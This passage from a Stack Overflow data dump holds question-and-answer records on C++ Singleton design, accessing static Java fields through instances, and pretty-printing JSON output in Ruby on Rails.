downfall of Singletons is that they break inheritance. You can't derive a new class to give you extended functionality unless you have access to the code where the Singleton is referenced. So, beyond the fact the the Singleton will make your code tightly coupled (fixable by a Strategy Pattern ... aka Dependency Injection) it will also prevent you from closing off sections of the code from revision (shared libraries).</p>\n\n<p>So even the examples of loggers or thread pools are invalid and should be replaced by Strategies. </p>\n" }, { "answer_id": 86806, "author": "Martin Beckett", "author_id": 10897, "author_profile": "https://Stackoverflow.com/users/10897", "pm_score": -1, "selected": false, "text": "<p>In desktop apps (I know, only us dinosaurs write these anymore!) they are essential for getting relatively unchanging global application settings - the user language, path to help files, user preferences etc which would otherwise have to propogate into every class and every dialog.</p>\n\n<p>Edit - of course these should be read-only !</p>\n" }, { "answer_id": 86818, "author": "Matt Cruikshank", "author_id": 8643, "author_profile": "https://Stackoverflow.com/users/8643", "pm_score": 1, "selected": false, "text": "<p>I use Singletons as an interview test.</p>\n\n<p>When I ask a developer to name some design patterns, if all they can name is Singleton, they're not hired.</p>\n" }, { "answer_id": 86868, "author": "Matt Cruikshank", "author_id": 8643, "author_profile": "https://Stackoverflow.com/users/8643", "pm_score": 2, "selected": false, "text": "<p>But when I need something like a Singleton, I often end up using a <a href=\"http://en.wikibooks.org/wiki/More_C%2B%2B_Idioms/Nifty_Counter\" rel=\"nofollow noreferrer\">Schwarz Counter</a> to instantiate it.</p>\n" }, { "answer_id": 92072, "author": "tenpn", "author_id": 11801, "author_profile": "https://Stackoverflow.com/users/11801", "pm_score": 3, "selected": false, "text": "<p><em>Modern C++ Design</em> by Alexandrescu has a thread-safe, inheritable generic singleton.</p>\n\n<p>For my 2p-worth, I think it's important to have defined lifetimes for your singletons (when it's absolutely necessary to use them). I normally don't let the static <code>get()</code> function instantiate anything, and leave set-up and destruction to some dedicated section of the main application. This helps highlight dependencies between singletons - but, as stressed above, it's best to just avoid them if possible.</p>\n" }, { "answer_id": 92193, "author": "Javaxpert", "author_id": 15241, "author_profile": "https://Stackoverflow.com/users/15241", "pm_score": 9, "selected": true, "text": "<p>Answer:</p>\n<p>Use a Singleton if:</p>\n<ul>\n<li>You need to have one and only one object of a type in system</li>\n</ul>\n<p>Do not use a Singleton if:</p>\n<ul>\n<li>You want to save memory</li>\n<li>You want to try something new</li>\n<li>You want to show off how much you know</li>\n<li>Because everyone else is doing it (See <a href=\"http://en.wikipedia.org/wiki/Cargo_cult_programming\" rel=\"noreferrer\">cargo cult programmer</a> in wikipedia)</li>\n<li>In user interface widgets</li>\n<li>It is supposed to be a cache</li>\n<li>In strings</li>\n<li>In Sessions</li>\n<li>I can go all day long</li>\n</ul>\n<p>How to create the best singleton:</p>\n<ul>\n<li>The smaller, the better. I am a minimalist</li>\n<li>Make sure it is thread safe</li>\n<li>Make sure it is never null</li>\n<li>Make sure it is created only once</li>\n<li>Lazy or system initialization? Up to your requirements</li>\n<li>Sometimes the OS or the JVM creates singletons for you (e.g. in Java every class definition is a singleton)</li>\n<li>Provide a destructor or somehow figure out how to dispose resources</li>\n<li>Use little memory</li>\n</ul>\n" }, { "answer_id": 761711, "author": "jalf", "author_id": 33213, "author_profile": "https://Stackoverflow.com/users/33213", "pm_score": 6, "selected": false, "text": "<p>Singletons give you the ability to combine two bad traits in one class. That's wrong in pretty much every way.</p>\n\n<p>A singleton gives you:</p>\n\n<ol>\n<li>Global access to an object, and</li>\n<li>A guarantee that no more than one object of this type <em>can ever be created</em></li>\n</ol>\n\n<p>Number one is straightforward. Globals are generally bad. We should never make objects globally accessible unless we <em>really</em> need it.</p>\n\n<p>Number two may sound like it makes sense, but let's think about it. When was the last time you **accidentally* created a new object instead of referencing an existing one? Since this is tagged C++, let's use an example from that language. Do you often accidentally write</p>\n\n<pre><code>std::ostream os;\nos &lt;&lt; \"hello world\\n\";\n</code></pre>\n\n<p>When you intended to write</p>\n\n<pre><code>std::cout &lt;&lt; \"hello world\\n\";\n</code></pre>\n\n<p>Of course not. We don't need protection against this error, because that kind of error just doesn't happen. If it does, the correct response is to go home and sleep for 12-20 hours and hope you feel better.</p>\n\n<p>If only one object is needed, simply create one instance. If one object should be globally accessible, make it a global. But that doesn't mean it should be impossible to create other instances of it.</p>\n\n<p>The \"only one instance is possible\" constraint doesn't really protect us against likely bugs. But it <em>does</em> make our code very hard to refactor and maintain. Because quite often we find out <em>later</em> that we did need more than one instance. We <em>do</em> have more than one database, we <em>do</em> have more than one configuration object, we do want several loggers. Our unit tests may want to be able to create and recreate these objects every test, to take a common example.</p>\n\n<p>So a singleton should be used if and only if, we need <em>both</em> the traits it offers: If we <em>need</em> global access (which is rare, because globals are generally discouraged) <strong>and</strong> we <em>need</em> to prevent anyone from <strong>ever</strong> creating more than one instance of a class (which sounds to me like a design issue). The only reason I can see for this is if creating two instances would corrupt our application state - probably because the class contains a number of static members or similar silliness. In which case the obvious answer is to fix that class. It shouldn't depend on being the only instance.</p>\n\n<p>If you need global access to an object, make it a global, like <code>std::cout</code>. But don't constrain the number of instances that can be created.</p>\n\n<p>If you absolutely, positively need to constrain the number of instances of a class to just one, and there is no way that creating a second instance can ever be handled safely, then enforce that. But don't make it globally accessible as well.</p>\n\n<p>If you do need both traits, then 1) make it a singleton, and 2) let me know what you need that for, because I'm having a hard time imagining such a case.</p>\n" }, { "answer_id": 761726, "author": "Mark Ransom", "author_id": 5987, "author_profile": "https://Stackoverflow.com/users/5987", "pm_score": 3, "selected": false, "text": "<blockquote>\n <ul>\n <li>How do you implement a Singleton correctly</li>\n </ul>\n</blockquote>\n\n<p>There's one issue I've never seen mentioned, something I ran into at a previous job. We had C++ singletons that were shared between DLLs, and the usual mechanics of ensuring a single instance of a class just don't work. The problem is that each DLL gets its own set of static variables, along with the EXE. If your get_instance function is inline or part of a static library, each DLL will wind up with its own copy of the \"singleton\".</p>\n\n<p>The solution is to make sure the singleton code is only defined in one DLL or EXE, or create a singleton manager with those properties to parcel out instances.</p>\n" }, { "answer_id": 761784, "author": "Brad Barker", "author_id": 12081, "author_profile": "https://Stackoverflow.com/users/12081", "pm_score": 2, "selected": false, "text": "<p>Most people use singletons when they are trying to make themselves feel good about using a global variable. There are legitimate uses, but most of the time when people use them, the fact that there can only be one instance is just a trivial fact compared to the fact that it's globally accessible.</p>\n" }, { "answer_id": 1216535, "author": "gogole", "author_id": 48127, "author_profile": "https://Stackoverflow.com/users/48127", "pm_score": 2, "selected": false, "text": "<p>Because a singleton only allows one instance to be created it effectively controls instance replication. for example you'd not need multiple instances of a lookup - a morse lookup map for example, thus wrapping it in a singleton class is apt. And just because you have a single instance of the class does not mean you are also limited on the number of references to that instance. You can queue calls(to avoid threading issues) to the instance and effect changes necessary. Yes, the general form of a singleton is a globally public one, you can certainly modify the design to create a more access restricted singleton. I haven't tired this before but I sure know it is possible.\nAnd to all those who commented saying the singleton pattern is utterly evil you should know this: yes it is evil if you do not use it properly or within it confines of effective functionality and predictable behavior: do not GENERALIZE.</p>\n" }, { "answer_id": 1478294, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>As others have noted, major downsides to singletons include the inability to extend them, and losing the power to instantiate more than one instance, e.g. for testing purposes.</p>\n\n<p>Some useful aspects of singletons:</p>\n\n<ol>\n<li>lazy or upfront instantiation</li>\n<li>handy for an object which requires setup and/or state</li>\n</ol>\n\n<p>However, you don't have to use a singleton to get these benefits. You can write a normal object that does the work, and then have people access it via a factory (a separate object). The factory can worry about only instantiating one, and reusing it, etc., if need be. Also, if you program to an interface rather than a concrete class, the factory can use strategies, i.e. you can switch in and out various implementations of the interface. </p>\n\n<p>Finally, a factory lends itself to dependency injection technologies like Spring etc.</p>\n" }, { "answer_id": 5167914, "author": "CashCow", "author_id": 442284, "author_profile": "https://Stackoverflow.com/users/442284", "pm_score": 0, "selected": false, "text": "<p>The Meyers singleton pattern works well enough most of the time, and on the occasions it does it doesn't necessarily pay to look for anything better. As long as the constructor will never throw and there are no dependencies between singletons.</p>\n\n<p>A singleton is an implementation for a <strong>globally-accessible object</strong> (GAO from now on) although not all GAOs are singletons. </p>\n\n<p>Loggers themselves should not be singletons but the means to log should ideally be globally-accessible, to decouple where the log message is being generated from where or how it gets logged.</p>\n\n<p>Lazy-loading / lazy evaluation is a different concept and singleton usually implements that too. It comes with a lot of its own issues, in particular thread-safety and issues if it fails with exceptions such that what seemed like a good idea at the time turns out to be not so great after all. (A bit like COW implementation in strings).</p>\n\n<p>With that in mind, GOAs can be initialised like this:</p>\n\n<pre><code>namespace {\n\nT1 * pt1 = NULL;\nT2 * pt2 = NULL;\nT3 * pt3 = NULL;\nT4 * pt4 = NULL;\n\n}\n\nint main( int argc, char* argv[])\n{\n T1 t1(args1);\n T2 t2(args2);\n T3 t3(args3);\n T4 t4(args4);\n\n pt1 = &amp;t1;\n pt2 = &amp;t2;\n pt3 = &amp;t3;\n pt4 = &amp;t4;\n\n dostuff();\n\n}\n\nT1&amp; getT1()\n{\n return *pt1;\n}\n\nT2&amp; getT2()\n{\n return *pt2;\n}\n\nT3&amp; getT3()\n{\n return *pt3;\n}\n\nT4&amp; getT4()\n{\n return *pt4;\n}\n</code></pre>\n\n<p>It does not need to be done as crudely as that, and clearly in a loaded library that contains objects you probably want some other mechanism to manage their lifetime. (Put them in an object that you get when you load the library). </p>\n\n<p>As for when I use singletons? I used them for 2 things\n- A singleton table that indicates what libraries have been loaded with dlopen\n- A message handler that loggers can subscribe to and that you can send messages to. Required specifically for signal handlers.</p>\n" }, { "answer_id": 8771462, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": -1, "selected": false, "text": "<p>Another implementation</p>\n\n<pre><code>class Singleton\n{\npublic:\n static Singleton&amp; Instance()\n {\n // lazy initialize\n if (instance_ == NULL) instance_ = new Singleton();\n\n return *instance_;\n }\n\nprivate:\n Singleton() {};\n\n static Singleton *instance_;\n};\n</code></pre>\n" }, { "answer_id": 21471959, "author": "Zachary Kraus", "author_id": 1705325, "author_profile": "https://Stackoverflow.com/users/1705325", "pm_score": 0, "selected": false, "text": "<p>I still don't get why a singleton has to be global. </p>\n\n<p>I was going to produce a singleton where I hid a database inside the class as a private constant static variable and make class functions that utilize the database without ever exposing the database to the user.</p>\n\n<p>I don't see why this functionality would be bad.</p>\n" }, { "answer_id": 46818964, "author": "Michael Avraamides", "author_id": 5103997, "author_profile": "https://Stackoverflow.com/users/5103997", "pm_score": 1, "selected": false, "text": "<p>I find them useful when I have a class that encapsulates a lot of memory. For example in a recent game I've been working on I have an influence map class that contains a collection of very large arrays of contiguous memory. I want that all allocated at startup, all freed at shutdown and I definitely want only one copy of it. I also have to access it from many places. I find the singleton pattern to be very useful in this case.</p>\n\n<p>I'm sure there are other solutions but I find this one very useful and easy to implement.</p>\n" }, { "answer_id": 51573580, "author": "La VloZ Merrill", "author_id": 3671122, "author_profile": "https://Stackoverflow.com/users/3671122", "pm_score": 0, "selected": false, "text": "<p>If you are the one who created the singleton and who uses it, dont make it as singleton (it doesn't have sense because you can control the singularity of the object without making it singleton) but it makes sense when you a developer of a library and you want to supply only one object to your users (in this case you are the who created the singleton, but you aren't the user).</p>\n\n<p>Singletons are objects so use them as objects, many people accesses to singletons directly through calling the method which returns it, but this is harmful because you are making your code knows that object is singleton, I prefer to use singletons as objects, I pass them through the constructor and I use them as ordinary objects, by that way, your code doesn't know if these objects are singletons or not and that makes the dependencies more clear and it helps a little for refactoring ...</p>\n" }, { "answer_id": 51803280, "author": "A. Gupta", "author_id": 5575697, "author_profile": "https://Stackoverflow.com/users/5575697", "pm_score": 2, "selected": false, "text": "<p>Below is the better approach for implementing a thread safe singleton pattern with deallocating the memory in destructor itself. But I think the destructor should be an optional because singleton instance will be automatically destroyed when the program terminates:</p>\n\n<pre><code>#include&lt;iostream&gt;\n#include&lt;mutex&gt;\n\nusing namespace std;\nstd::mutex mtx;\n\nclass MySingleton{\nprivate:\n static MySingleton * singletonInstance;\n MySingleton();\n ~MySingleton();\npublic:\n static MySingleton* GetInstance();\n MySingleton(const MySingleton&amp;) = delete;\n const MySingleton&amp; operator=(const MySingleton&amp;) = delete;\n MySingleton(MySingleton&amp;&amp; other) noexcept = delete;\n MySingleton&amp; operator=(MySingleton&amp;&amp; other) noexcept = delete;\n};\n\nMySingleton* MySingleton::singletonInstance = nullptr;\nMySingleton::MySingleton(){ };\nMySingleton::~MySingleton(){\n delete singletonInstance;\n};\n\nMySingleton* MySingleton::GetInstance(){\n if (singletonInstance == NULL){\n std::lock_guard&lt;std::mutex&gt; lock(mtx);\n if (singletonInstance == NULL)\n singletonInstance = new MySingleton();\n }\n return singletonInstance;\n}\n</code></pre>\n\n<p>Regarding the situations where we need to use singleton classes can be-\nIf we want to maintain the state of the instance throughout the execution of the program\nIf we are involved in writing into execution log of an application where only one instance of the file need to be used....and so on.\nIt will be appreciable if anybody can suggest optimisation in my above code.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86582", "https://Stackoverflow.com", "https://Stackoverflow.com/users/14065/" ]
Edit: From another question I provided an answer that has links to a lot of questions/answers about singletons: [More info about singletons here:](https://stackoverflow.com/questions/1008019/c-singleton-design-pattern/1008289#1008289) So I have read the thread [Singletons: good design or a crutch?](https://stackoverflow.com/questions/11831/singletons-good-design-or-a-crutch) And the argument still rages. I see Singletons as a Design Pattern (good and bad). The problem with Singleton is not the Pattern but rather the users (sorry everybody). Everybody and their father thinks they can implement one correctly (and from the many interviews I have done, most people can't). Also because everybody thinks they can implement a correct Singleton they abuse the Pattern and use it in situations that are not appropriate (replacing global variables with Singletons!). So the main questions that need to be answered are: * When should you use a Singleton * How do you implement a Singleton correctly My hope for this article is that we can collect together in a single place (rather than having to google and search multiple sites) an authoritative source of when (and then how) to use a Singleton correctly. Also appropriate would be a list of Anti-Usages and common bad implementations explaining why they fail to work and for good implementations their weaknesses. --- So get the ball rolling: I will hold my hand up and say this is what I use but probably has problems. I like "Scott Myers" handling of the subject in his books "Effective C++" > > Good Situations to use Singletons (not many): > > > * Logging frameworks > * Thread recycling pools > > > ``` /* * C++ Singleton * Limitation: Single Threaded Design * See: http://www.aristeia.com/Papers/DDJ_Jul_Aug_2004_revised.pdf * For problems associated with locking in multi threaded applications * * Limitation: * If you use this Singleton (A) within a destructor of another Singleton (B) * This Singleton (A) must be fully constructed before the constructor of (B) * is called. */ class MySingleton { private: // Private Constructor MySingleton(); // Stop the compiler generating methods of copy the object MySingleton(MySingleton const& copy); // Not Implemented MySingleton& operator=(MySingleton const& copy); // Not Implemented public: static MySingleton& getInstance() { // The only instance // Guaranteed to be lazy initialized // Guaranteed that it will be destroyed correctly static MySingleton instance; return instance; } }; ``` OK. Lets get some criticism and other implementations together. :-)
Answer: Use a Singleton if: * You need to have one and only one object of a type in system Do not use a Singleton if: * You want to save memory * You want to try something new * You want to show off how much you know * Because everyone else is doing it (See [cargo cult programmer](http://en.wikipedia.org/wiki/Cargo_cult_programming) in wikipedia) * In user interface widgets * It is supposed to be a cache * In strings * In Sessions * I can go all day long How to create the best singleton: * The smaller, the better. I am a minimalist * Make sure it is thread safe * Make sure it is never null * Make sure it is created only once * Lazy or system initialization? Up to your requirements * Sometimes the OS or the JVM creates singletons for you (e.g. in Java every class definition is a singleton) * Provide a destructor or somehow figure out how to dispose resources * Use little memory
86,607
<p>I have two classes, and want to include a static instance of one class inside the other and access the static fields from the second class via the first. </p> <p>This is so I can have non-identical instances with the same name. </p> <pre><code>Class A { public static package1.Foo foo; } Class B { public static package2.Foo foo; } //package1 Foo { public final static int bar = 1; } // package2 Foo { public final static int bar = 2; } // usage assertEquals(A.foo.bar, 1); assertEquals(B.foo.bar, 2); </code></pre> <p>This works, but I get a warning "The static field Foo.bar shoudl be accessed in a static way". Can someone explain why this is and offer a "correct" implementation.</p> <p>I realize I could access the static instances directly, but if you have a long package hierarchy, that gets ugly:</p> <pre><code>assertEquals(net.FooCorp.divisions.A.package.Foo.bar, 1); assertEquals(net.FooCorp.divisions.B.package.Foo.bar, 2); </code></pre>
[ { "answer_id": 86625, "author": "Jason Cohen", "author_id": 4926, "author_profile": "https://Stackoverflow.com/users/4926", "pm_score": 3, "selected": false, "text": "<p>You should use:</p>\n\n<pre><code>Foo.bar\n</code></pre>\n\n<p>And not:</p>\n\n<pre><code>A.foo.bar\n</code></pre>\n\n<p>That's what the warning means.</p>\n\n<p>The reason is that <code>bar</code> isn't a member of an <em>instance</em> of <code>Foo</code>. Rather, <code>bar</code> is global, on the class <code>Foo</code>. The compiler wants you to reference it globally rather than pretending it's a member of the instance.</p>\n" }, { "answer_id": 86647, "author": "axk", "author_id": 578, "author_profile": "https://Stackoverflow.com/users/578", "pm_score": 2, "selected": false, "text": "<p>There is no sense in putting these two static variables in these to classes as long as you only need to access static members.\nThe compiler expects you to access them trough class name prefixes like:</p>\n\n<pre><code>package1.Foo.bar\npackage2.Foo.bar\n</code></pre>\n" }, { "answer_id": 86679, "author": "Fernando Barrocal", "author_id": 2274, "author_profile": "https://Stackoverflow.com/users/2274", "pm_score": 2, "selected": false, "text": "<p>Once you created the object in: </p>\n\n<pre><code>public static package1.Foo foo;\n</code></pre>\n\n<p>it isn't being accessed in a Static way. You will have to use the class name and, of course, the full package name to address the class since they have the same name on different packages</p>\n" }, { "answer_id": 86683, "author": "easeout", "author_id": 10906, "author_profile": "https://Stackoverflow.com/users/10906", "pm_score": 0, "selected": false, "text": "<p>It's true that a Foo instance has access to Foo's static fields, but think about the word \"static\". It means \"statically bound\", at least in this case. Since A.foo is of type Foo, \"A.foo.bar\" is not going to ask the object for \"bar\", it's going to go straight to the class. That means that even if a subclass has a static field called \"bar\", and foo is an instance of that subclass, it's going to get Foo.bar, not FooSubclass.bar. Therefore it's a better idea to reference it by the class name, since if you try to take advantage of inheritance you'll shoot yourself in the foot.</p>\n" }, { "answer_id": 88200, "author": "jon", "author_id": 12215, "author_profile": "https://Stackoverflow.com/users/12215", "pm_score": 2, "selected": true, "text": "<p>I agree with others that you're probably thinking about this the wrong way. With that out of the way, this may work for you if you are only accessing static members:</p>\n\n<pre><code>public class A {\n public static class Foo extends package1.Foo {}\n}\npublic class B {\n public static class Foo extends package2.Foo {}\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86607", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12982/" ]
I have two classes, and want to include a static instance of one class inside the other and access the static fields from the second class via the first. This is so I can have non-identical instances with the same name. ``` Class A { public static package1.Foo foo; } Class B { public static package2.Foo foo; } //package1 Foo { public final static int bar = 1; } // package2 Foo { public final static int bar = 2; } // usage assertEquals(A.foo.bar, 1); assertEquals(B.foo.bar, 2); ``` This works, but I get a warning "The static field Foo.bar shoudl be accessed in a static way". Can someone explain why this is and offer a "correct" implementation. I realize I could access the static instances directly, but if you have a long package hierarchy, that gets ugly: ``` assertEquals(net.FooCorp.divisions.A.package.Foo.bar, 1); assertEquals(net.FooCorp.divisions.B.package.Foo.bar, 2); ```
I agree with others that you're probably thinking about this the wrong way. With that out of the way, this may work for you if you are only accessing static members: ``` public class A { public static class Foo extends package1.Foo {} } public class B { public static class Foo extends package2.Foo {} } ```
86,653
<p>I would like my JSON output in Ruby on Rails to be "pretty" or nicely formatted. </p> <p>Right now, I call <code>to_json</code> and my JSON is all on one line. At times this can be difficult to see if there is a problem in the JSON output stream.</p> <p>Is there way to configure to make my JSON "pretty" or nicely formatted in Rails?</p>
[ { "answer_id": 1823885, "author": "lambshaanxy", "author_id": 218340, "author_profile": "https://Stackoverflow.com/users/218340", "pm_score": 11, "selected": true, "text": "<p>Use the <code>pretty_generate()</code> function, built into later versions of JSON. For example:</p>\n\n<pre><code>require 'json'\nmy_object = { :array =&gt; [1, 2, 3, { :sample =&gt; \"hash\"} ], :foo =&gt; \"bar\" }\nputs JSON.pretty_generate(my_object)\n</code></pre>\n\n<p>Which gets you:</p>\n\n<pre><code>{\n \"array\": [\n 1,\n 2,\n 3,\n {\n \"sample\": \"hash\"\n }\n ],\n \"foo\": \"bar\"\n}\n</code></pre>\n" }, { "answer_id": 13029297, "author": "gertas", "author_id": 446210, "author_profile": "https://Stackoverflow.com/users/446210", "pm_score": 6, "selected": false, "text": "<p>Thanks to Rack Middleware and Rails 3 you can output pretty JSON for every request without changing any controller of your app. I have written such middleware snippet and I get nicely printed JSON in browser and <code>curl</code> output.</p>\n\n<pre><code>class PrettyJsonResponse\n def initialize(app)\n @app = app\n end\n\n def call(env)\n status, headers, response = @app.call(env)\n if headers[\"Content-Type\"] =~ /^application\\/json/\n obj = JSON.parse(response.body)\n pretty_str = JSON.pretty_unparse(obj)\n response = [pretty_str]\n headers[\"Content-Length\"] = pretty_str.bytesize.to_s\n end\n [status, headers, response]\n end\nend\n</code></pre>\n\n<p>The above code should be placed in <code>app/middleware/pretty_json_response.rb</code> of your Rails project.\nAnd the final step is to register the middleware in <code>config/environments/development.rb</code>:</p>\n\n<pre><code>config.middleware.use PrettyJsonResponse\n</code></pre>\n\n<p><strong>I don't recommend to use it in <code>production.rb</code></strong>. The JSON reparsing may degrade response time and throughput of your production app. Eventually extra logic such as 'X-Pretty-Json: true' header may be introduced to trigger formatting for manual curl requests on demand.</p>\n\n<p>(Tested with Rails 3.2.8-5.0.0, Ruby 1.9.3-2.2.0, Linux)</p>\n" }, { "answer_id": 14008507, "author": "Christopher Mullins", "author_id": 1924483, "author_profile": "https://Stackoverflow.com/users/1924483", "pm_score": 3, "selected": false, "text": "<p>Here's my solution which I derived from other posts during my own search.</p>\n\n<p>This allows you to send the pp and jj output to a file as needed.</p>\n\n<pre><code>require \"pp\"\nrequire \"json\"\n\nclass File\n def pp(*objs)\n objs.each {|obj|\n PP.pp(obj, self)\n }\n objs.size &lt;= 1 ? objs.first : objs\n end\n def jj(*objs)\n objs.each {|obj|\n obj = JSON.parse(obj.to_json)\n self.puts JSON.pretty_generate(obj)\n }\n objs.size &lt;= 1 ? objs.first : objs\n end\nend\n\ntest_object = { :name =&gt; { first: \"Christopher\", last: \"Mullins\" }, :grades =&gt; [ \"English\" =&gt; \"B+\", \"Algebra\" =&gt; \"A+\" ] }\n\ntest_json_object = JSON.parse(test_object.to_json)\n\nFile.open(\"log/object_dump.txt\", \"w\") do |file|\n file.pp(test_object)\nend\n\nFile.open(\"log/json_dump.txt\", \"w\") do |file|\n file.jj(test_json_object)\nend\n</code></pre>\n" }, { "answer_id": 17455728, "author": "Roger Garza", "author_id": 1691528, "author_profile": "https://Stackoverflow.com/users/1691528", "pm_score": 7, "selected": false, "text": "<p>The <code>&lt;pre&gt;</code> tag in HTML, used with <code>JSON.pretty_generate</code>, will render the JSON pretty in your view. I was so happy when my illustrious boss showed me this:</p>\n\n<pre><code>&lt;% if @data.present? %&gt;\n &lt;pre&gt;&lt;%= JSON.pretty_generate(@data) %&gt;&lt;/pre&gt;\n&lt;% end %&gt;\n</code></pre>\n" }, { "answer_id": 20132986, "author": "Tony", "author_id": 977121, "author_profile": "https://Stackoverflow.com/users/977121", "pm_score": 3, "selected": false, "text": "<p>I have used the gem CodeRay and it works pretty well. The format includes colors and it recognises a lot of different formats.</p>\n\n<p>I have used it on a gem that can be used for debugging rails APIs and it works pretty well.</p>\n\n<p>By the way, the gem is named 'api_explorer' (<a href=\"http://www.github.com/toptierlabs/api_explorer\" rel=\"noreferrer\">http://www.github.com/toptierlabs/api_explorer</a>)</p>\n" }, { "answer_id": 22776594, "author": "TheDadman", "author_id": 3474708, "author_profile": "https://Stackoverflow.com/users/3474708", "pm_score": 1, "selected": false, "text": "<p>I use the following as I find the headers, status and JSON output useful as\na set. The call routine is broken out on recommendation from a railscasts presentation at: <a href=\"http://railscasts.com/episodes/151-rack-middleware?autoplay=true\" rel=\"nofollow\">http://railscasts.com/episodes/151-rack-middleware?autoplay=true</a></p>\n\n<pre><code> class LogJson\n\n def initialize(app)\n @app = app\n end\n\n def call(env)\n dup._call(env)\n end\n\n def _call(env)\n @status, @headers, @response = @app.call(env)\n [@status, @headers, self]\n end\n\n def each(&amp;block)\n if @headers[\"Content-Type\"] =~ /^application\\/json/\n obj = JSON.parse(@response.body)\n pretty_str = JSON.pretty_unparse(obj)\n @headers[\"Content-Length\"] = Rack::Utils.bytesize(pretty_str).to_s\n Rails.logger.info (\"HTTP Headers: #{ @headers } \")\n Rails.logger.info (\"HTTP Status: #{ @status } \")\n Rails.logger.info (\"JSON Response: #{ pretty_str} \")\n end\n\n @response.each(&amp;block)\n end\n end\n</code></pre>\n" }, { "answer_id": 22864283, "author": "Thomas Klemm", "author_id": 1606888, "author_profile": "https://Stackoverflow.com/users/1606888", "pm_score": 4, "selected": false, "text": "<p>Dumping an ActiveRecord object to JSON (in the Rails console):</p>\n\n<pre><code>pp User.first.as_json\n\n# =&gt; {\n \"id\" =&gt; 1,\n \"first_name\" =&gt; \"Polar\",\n \"last_name\" =&gt; \"Bear\"\n}\n</code></pre>\n" }, { "answer_id": 23018176, "author": "Ed Lebert", "author_id": 1050523, "author_profile": "https://Stackoverflow.com/users/1050523", "pm_score": 5, "selected": false, "text": "<p>If you want to:</p>\n\n<ol>\n<li>Prettify all outgoing JSON responses from your app automatically.</li>\n<li>Avoid polluting Object#to_json/#as_json</li>\n<li>Avoid parsing/re-rendering JSON using middleware (YUCK!)</li>\n<li>Do it the RAILS WAY!</li>\n</ol>\n\n<p>Then ... replace the ActionController::Renderer for JSON! Just add the following code to your ApplicationController:</p>\n\n<pre><code>ActionController::Renderers.add :json do |json, options|\n unless json.kind_of?(String)\n json = json.as_json(options) if json.respond_to?(:as_json)\n json = JSON.pretty_generate(json, options)\n end\n\n if options[:callback].present?\n self.content_type ||= Mime::JS\n \"#{options[:callback]}(#{json})\"\n else\n self.content_type ||= Mime::JSON\n json\n end\nend\n</code></pre>\n" }, { "answer_id": 26491790, "author": "Wayne Conrad", "author_id": 238886, "author_profile": "https://Stackoverflow.com/users/238886", "pm_score": 3, "selected": false, "text": "<p>Here is a middleware solution modified from <a href=\"https://stackoverflow.com/a/13029297/238886\">this excellent answer by @gertas</a>. This solution is not Rails specific--it should work with any Rack application.</p>\n\n<p>The middleware technique used here, using #each, is explained at <a href=\"http://asciicasts.com/episodes/151-rack-middleware\" rel=\"noreferrer\">ASCIIcasts 151: Rack Middleware</a> by Eifion Bedford.</p>\n\n<p>This code goes in <em>app/middleware/pretty_json_response.rb</em>:</p>\n\n<pre><code>class PrettyJsonResponse\n\n def initialize(app)\n @app = app\n end\n\n def call(env)\n @status, @headers, @response = @app.call(env)\n [@status, @headers, self]\n end\n\n def each(&amp;block)\n @response.each do |body|\n if @headers[\"Content-Type\"] =~ /^application\\/json/\n body = pretty_print(body)\n end\n block.call(body)\n end\n end\n\n private\n\n def pretty_print(json)\n obj = JSON.parse(json) \n JSON.pretty_unparse(obj)\n end\n\nend\n</code></pre>\n\n<p>To turn it on, add this to config/environments/test.rb and config/environments/development.rb:</p>\n\n<pre><code>config.middleware.use \"PrettyJsonResponse\"\n</code></pre>\n\n<p>As @gertas warns in his version of this solution, avoid using it in production. It's somewhat slow.</p>\n\n<p>Tested with Rails 4.1.6.</p>\n" }, { "answer_id": 29679793, "author": "Phrogz", "author_id": 405017, "author_profile": "https://Stackoverflow.com/users/405017", "pm_score": 4, "selected": false, "text": "<p>If you find that the <code>pretty_generate</code> option built into Ruby's JSON library is not \"pretty\" enough, I recommend my own <a href=\"https://github.com/Phrogz/NeatJSON\" rel=\"noreferrer\">NeatJSON</a> gem for your formatting.</p>\n\n<p>To use it:</p>\n\n<pre><code>gem install neatjson\n</code></pre>\n\n<p>and then use</p>\n\n<pre><code>JSON.neat_generate\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>JSON.pretty_generate\n</code></pre>\n\n<p>Like Ruby's <code>pp</code> it will keep objects and arrays on one line when they fit, but wrap to multiple as needed. For example:</p>\n\n<pre class=\"lang-json prettyprint-override\"><code>{\n \"navigation.createroute.poi\":[\n {\"text\":\"Lay in a course to the Hilton\",\"params\":{\"poi\":\"Hilton\"}},\n {\"text\":\"Take me to the airport\",\"params\":{\"poi\":\"airport\"}},\n {\"text\":\"Let's go to IHOP\",\"params\":{\"poi\":\"IHOP\"}},\n {\"text\":\"Show me how to get to The Med\",\"params\":{\"poi\":\"The Med\"}},\n {\"text\":\"Create a route to Arby's\",\"params\":{\"poi\":\"Arby's\"}},\n {\n \"text\":\"Go to the Hilton by the Airport\",\n \"params\":{\"poi\":\"Hilton\",\"location\":\"Airport\"}\n },\n {\n \"text\":\"Take me to the Fry's in Fresno\",\n \"params\":{\"poi\":\"Fry's\",\"location\":\"Fresno\"}\n }\n ],\n \"navigation.eta\":[\n {\"text\":\"When will we get there?\"},\n {\"text\":\"When will I arrive?\"},\n {\"text\":\"What time will I get to the destination?\"},\n {\"text\":\"What time will I reach the destination?\"},\n {\"text\":\"What time will it be when I arrive?\"}\n ]\n}\n</code></pre>\n\n<p>It also supports a variety of <a href=\"https://github.com/Phrogz/NeatJSON#options\" rel=\"noreferrer\">formatting options</a> to further customize your output. For example, how many spaces before/after colons? Before/after commas? Inside the brackets of arrays and objects? Do you want to sort the keys of your object? Do you want the colons to all be lined up?</p>\n" }, { "answer_id": 32404082, "author": "Jim Flood", "author_id": 233596, "author_profile": "https://Stackoverflow.com/users/233596", "pm_score": 2, "selected": false, "text": "<p>If you are using <a href=\"https://github.com/nesquena/rabl\" rel=\"nofollow\">RABL</a> you can configure it as described <a href=\"https://github.com/nesquena/rabl/issues/301\" rel=\"nofollow\">here</a> to use JSON.pretty_generate:</p>\n\n<pre><code>class PrettyJson\n def self.dump(object)\n JSON.pretty_generate(object, {:indent =&gt; \" \"})\n end\nend\n\nRabl.configure do |config|\n ...\n config.json_engine = PrettyJson if 